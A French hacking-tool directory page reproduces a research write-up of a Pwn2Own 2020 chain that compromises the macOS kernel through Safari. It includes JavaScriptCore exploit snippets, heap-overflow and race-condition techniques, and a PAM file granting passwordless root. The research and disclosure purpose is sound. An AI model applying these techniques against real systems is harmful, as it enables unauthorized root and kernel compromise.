Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pwn2own2020 — Compromettre le noyau macOS via Safari en enchaînant six vulnérabilités | Kitploit
Outils/GitHubGitHub/sslab-gatech/pwn2own2020
Escalade de PrivilègesExploitationShellcodeExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges UtilesExploitation de Binaires
GitHubsslab-gatech/pwn2own2020

pwn2own2020

Compromettre le noyau macOS via Safari en enchaînant six vulnérabilités

Voir le dépôt
41458il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Compromettre le noyau macOS via Safari en enchaînant six vulnérabilités

Aperçu

Ce dépôt contient les détails d'exploitation et techniques de notre soumission gagnante du Pwn2Own 2020 ciblant Apple Safari avec une élévation de privilèges du noyau pour macOS 10.15.3. Pour plus d'informations, vous pouvez également consulter nos slides du Blackhat USA 2020 et la vidéo. Ce dépôt inclut également notre vidéo de démonstration pour l'exploitation réussie.

Comment reproduire

  1. Lancez le serveur HTTP en utilisant python3 dans le dossier exploits.```shell $ python3 -m http.server 80
root@kitploit:~
2. Accédez au site Web avec l'IP du serveur attaquant avec Safari :```
http://[attacker_ip]/exploit.html
  1. Attendez que la calculatrice apparaisse (généralement en dix secondes, mais si vous êtes malchanceux, cela peut prendre plus de temps) ainsi qu'un terminal avec privilège noyau. Pour montrer notre élévation de privilège noyau, nous avons désactivé SIP. Vous pouvez vérifier en exécutant la commande csrutil status, qui affichera disabled.

Construire à partir des sources

Pour votre commodité, nous avons fourni un payload compilé, payload.js. Mais, si vous le souhaitez, vous pouvez le construire vous-même. Notez que cela prendra beaucoup de temps car nous construirons WebKit dans le cadre de notre chaîne d'exploitation. Il est à noter que nous n'avons testé notre processus de construction que sur Mac OS.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
Détails techniques
-----------------

Pour réaliser cette exploitation, nous avons enchaîné les *six* vulnérabilités suivantes.

### 1. Exécution de code à distance dans Safari via une modélisation incorrecte des effets de bord de l'opérateur 'in' dans le compilateur DFG de JavaScriptCore

- Analyse de la cause racine

Dans JavaScriptCore, lorsqu'une propriété indexée est interrogée avec l'opérateur 'in',
le compilateur DFG suppose qu'elle est sans effet de bord à moins qu'un objet proxy
dans sa chaîne de prototypes ne puisse intercepter cette opération.
JavaScriptCore marque un objet pouvant intercepter cet accès à une propriété indexée
à l'aide du drapeau appelé 'MayHaveIndexedAccessors'. Ce drapeau est explicitement
marqué pour l'objet Proxy.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

Cependant, il existe un autre objet qui peut provoquer des effets secondaires : JSHTMLEmbedElement qui implémente sa propre méthode getOwnPropertySlot(). Une façon de déclencher des rappels JavaScript (c'est-à-dire des effets secondaires) avec l'opérateur 'in' est d'utiliser l'élément <embed> avec le plugin PDF ; lorsqu'une propriété est interrogée sur l'objet DOM de l'élément embed/object, il essaie de charger le plugin sous-jacent et le gestionnaire d'événements DOMSubtreeModified peut être appelé dans le cas du plugin PDF car il utilise la méthode appendChild sur l'élément body.

Voici la trace de la pile d'appel de l'effet secondaire à partir de getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
Comme aucun objet dans la chaîne de prototypes n'est marqué avec 'MayHaveIndexedAccessors', le JIT suppose que cette utilisation de l'opérateur 'in' n'a pas de transitions internes, éliminant ainsi les vérifications de type de tableau après la transition.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

En construisant une primitive addrof/fakeobj à partir de cela, nous pourrions créer une primitive RW arbitraire pour obtenir l'exécution de code avec la fonction JavaScript compilée JIT.

  • Exploitation

Après avoir obtenu les primitives addrof/fakeobj, nous les convertissons en primitives addrof/fakeobj plus stables en falsifiant un objet.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
Nous divulguons l'identifiant de structure de hostObj en créant un faux objet fonction
fakeHostObj et en appelant Function.prototype.toString dessus. Le nom de la
fonction reflète la valeur de l'identifiant de structure sous forme de chaîne UTF-16. Nous mettons à jour le
hostObj après avoir divulgué l'identifiant de structure. Il est à noter que cette
technique provient de [la conférence de Yong Wang au Blackhat EU 2019
](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

Maintenant, nous avons le butterfly de fakeHostObj pointant vers fakeHostObj lui-même. Nous pouvons utiliser la primitive addrof/fakeobj sans déclencher à nouveau le bug car nous pouvons accéder à hostObj.o en tant que JSValue ou en tant que double en utilisant fakeHostObj[2].

En utilisant l'ID de structure divulgué de attackObj et la primitive addrof/fakeobj, nous pouvons fabriquer des objets comme ci-dessous.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
Nous pouvons obtenir une primitive RW arbitraire en utilisant fakeRwObj pour mettre à jour
le pointeur butterfly de fakeInnerObj et lire/écrire depuis/vers fakeInnerObj. Pour obtenir
une RCE à partir de la primitive RW arbitraire, nous déclenchons la compilation JIT de la
fonction dummy, divulguons l'adresse du code, l'écrasons avec notre shellcode. Parfois,
la fuite d'adresse du code échoue car nous ne pouvons pas lire/écrire certaines valeurs
depuis notre tableau factice. Dans ce cas, nous essayons de l'approximer en lisant
depuis l'emplacement du pointeur + 1 et en décalant la valeur lue. Enfin, nous écrasons
le pointeur de code de la fonction alert vers celui de notre fonction dummy et l'appelons
(avec quelques arguments) pour exécuter le shellcode.

### 2. Lancement arbitraire d'applications .app dans Safari via un lien symbolique dans didFailProvisionalLoad()

Pour une URL file://, Safari ouvre une fenêtre du Finder avec [NSWorkspace selectFile:inFileViewerRootedAtPath:].
Cette fonction accepte deux paramètres, et dans la plupart des cas, Safari n'utilise que le
premier paramètre, qui montre le dossier contenant le fichier spécifié. Mais
si le second paramètre est utilisé à la place, le Finder lance le fichier s'il est
exécutable ou s'il s'agit d'un bundle d'application.

Safari utilise le second paramètre après avoir confirmé que le chemin pointé n'est pas
un bundle d'application — un répertoire avec le suffixe .app. Comme un lien symbolique peut
pointer vers le bundle d'application, mais qu'il ne s'agit pas d'un répertoire avec le suffixe .app,
Safari lancera l'application pointée par le lien symbolique. Ce
chemin de code peut être déclenché en envoyant le message IPC didFailProvisionalLoad().

Cependant, Safari lui-même ne peut pas créer de lien symbolique en raison du filtre d'appels système
du sandbox Seatbelt. Nous utilisons donc une autre vulnérabilité qui donne les droits root, mais
une exécution de code sandboxée.

### 3. Exécution de code arbitraire dans le service CVM (Core Virtual Machine) via un débordement de tas

Il existe un service XPC sandboxé nommé com.apple.cvmsServ (c'est-à-dire CVMServer),
qui compile les shaders pour diverses architectures. Il fait partie du
framework OpenGL intégré.

Pour les requêtes avec le champ "message" défini sur 4, CVMServer analyse les
« données du framework » et les « maps » spécifiées par l'utilisateur. Le fichier de données « maps » se trouve à
"/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - le premier %s est
spécifié par l'utilisateur sans aucun filtre. Une traversée de répertoire est donc possible ; nous
pouvons lui faire analyser le fichier créé dans le sandbox de Safari.```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

Si item_count * 56 + items_offset <= 0x50, fread() recevra une longueur sous-estimée proche de 2^64, ce qui entraîne un débordement de tas avec une charge utile de longueur arbitraire. Notez que fread() s'arrête lorsque la fin du fichier spécifié est atteinte.

En utilisant cela, nous pourrions écraser l'objet de tas lié à la connexion, ce qui pourrait modifier les pointeurs mentionnés ci-dessous :```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
Si la valeur `port` est `0x103` (TASK-SELF), le service accordera au client le droit d'envoi du port de tâche de CVMServer, qui peut être utilisé pour allouer de la mémoire et exécuter du code arbitraire sur le processus. Pour que `v8[index].port == 0x103`, nous avons recherché la mémoire dans la zone de la bibliothèque, qui possède les mêmes adresses à travers les processus.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

Il y avait de nombreuses zones qui avaient deux valeurs entières 64 bits 0, -1, et pour rax+0x38 et X+0x30, nous avons trouvé que _xpc_error_termination_imminent, qui est un symbole public, satisfait cette condition. Puisque la longueur est supérieure à 2^64 / 0x10, nous avons pu calculer l'inverse modulaire pour pointer Y(==0)*0x18+index+0x10 == &0x103.

Étant donné que CVMServer avait com.apple.security.cs.allow-jit défini, nous avons pu appeler mmap avec le flag MAP_JIT et invoquer notre reflective loader pour exécuter des fichiers dylib sur le processus. Nous avons exécuté ce code sur CVMServer :```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
Après avoir créé %lu.app et le lien symbolique my.app, nous sommes retournés dans Safari et avons envoyé le message IPC pour ouvrir l'application. Mais deux protections supplémentaires subsistaient : la vérification de la quarantaine et la vérification de la première ouverture de l'application.

### 4. Contournement de la protection de la première ouverture d'application sous macOS

Si Safari tente d'exécuter une application pour la première fois, Safari en refuse l'exécution si le fichier possède un attribut nommé com.apple.quarantine ou attend la confirmation de l'utilisateur. Tous les fichiers créés par WebProcess possèdent l'attribut --- com.apple.quarantine ; cependant, nous pouvons déjà contourner ceci car nous avons créé le dossier dans le processus CVMServer, et non dans WebProcess. Pour la confirmation de l'utilisateur, macOS crée d'abord le processus, le suspend, puis le poursuit après que l'utilisateur a cliqué sur le bouton `Open`. Mais l'envoi du signal SIGCONT a fonctionné de la même manière qu'un clic sur le bouton.

Ainsi, nous avons exécuté ce code en continu dans CVMServer après avoir créé my.app :```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. Escalade de privilèges root dans cfprefsd via modification arbitraire des permissions de fichiers/dossiers causée par une condition de concurrence

cfprefsd est un autre service XPC qui permet à un utilisateur de créer un fichier plist. Il se trouve dans CoreFoundation et est accessible depuis la plupart des processus non sandboxés. Puisque nous avons déjà obtenu un privilège non sandboxé pour un utilisateur normal (c'est-à-dire CVMServer), nous pouvons lui demander de créer un fichier plist si le dossier et le fichier cibles ont des bits de permission suffisants pour permettre à l'utilisateur client d'écrire dans le fichier. Cependant, si le dossier n'existe pas, il crée récursivement le dossier du fichier plist.

Voici un extrait de code de CVMServer qui crée le dossier.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
Mais si un chemin pointe vers un répertoire accessible en écriture par l'utilisateur, celui-ci peut remplacer le répertoire pointé par `cur` et le remplacer par un lien symbolique vers un fichier/dossier arbitraire. Comme cfprefsd possède les privilèges root, il est possible de changer le propriétaire des dossiers comme /etc/pam.d. En changeant le propriétaire de /etc/pam.d, nous pouvons écrire dans /etc/pam.d/login le contenu suivant :```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

Ensuite, la commande login root donnera à l'utilisateur un shell root sans aucune authentification.

6. Escalade de privilèges du noyau à l'aide du contournement du staging des modules et d'une condition de concurrence dans kextload

kextload est l'un des programmes capables d'effectuer des opérations kext (Kernel Extension) dans macOS. En exécutant kextload [chemin du dossier .kext], un utilisateur root peut charger un kext signé depuis le mode utilisateur. Pour empêcher les kexts non signés ou signés de manière invalide, kextload définit un callback 'authenticator' dans le package IOKitUser. Malheureusement, le chemin du kext est la seule ressource disponible pour le callback, ce qui rend difficile la prévention des conditions de concurrence. Pour atténuer ce problème, kextload copie d'abord le dossier kext dans l'espace dédié -- /Library/StagedExtensions -- qui ne peut pas être modifié même avec les privilèges root grâce à SIP et au mécanisme d'entitlement.

kextload fonctionne comme suit. Si nous exécutons kextload /tmp/A.kext, kextload copie le dossier kext original vers /Library/StagedExtensions/tmp/[UUID].kext. Ensuite, kextload vérifie les signatures de tous les fichiers dans le dossier. Si cela échoue, il supprime le dossier. Sinon, il copie le dossier vers /Library/StagedExtensions/tmp/A.kext et charge ce module.```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
Un problème dans kextload est que ce processus peut être interrompu par un utilisateur ayant les privilèges root. Il est à noter que la copie mentionnée ci-dessus inclut un lien symbolique, qui sera validé plus tard. Cependant, si nous tuons le processus kextload avant la validation, nous pouvons conserver un kext invalide avec un lien symbolique dans /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

Après cela, si nous exécutons une autre commande kextload avec kextload /tmp/[UUID].kext/symlink/B.kext, B.kext sera copié vers l'emplacement accessible en écriture pour un utilisateur privilégié (root) (par exemple, /tmp/[UUID'].kext)``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
Après la copie, kextload vérifie s'il se trouve dans un emplacement sécurisé, qui est
`/Library/StagedExtensions/*`. Nous pouvons temporairement placer le lien symbolique dans
/tmp/A.kext pour pointer vers /Library/StagedExtensions/[chemin du kext valide]. Après
validation, nous pouvons remplacer le binaire du module par un module de noyau non signé, pour
obtenir l'exécution de code dans le noyau.

Pour rendre la course fiable, nous avons utilisé sandbox-exec pour arrêter le programme lors de
l'accès au fichier avec le suffixe spécifié.


Auteurs
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

Citation
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

Références

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
Télécharger l’outil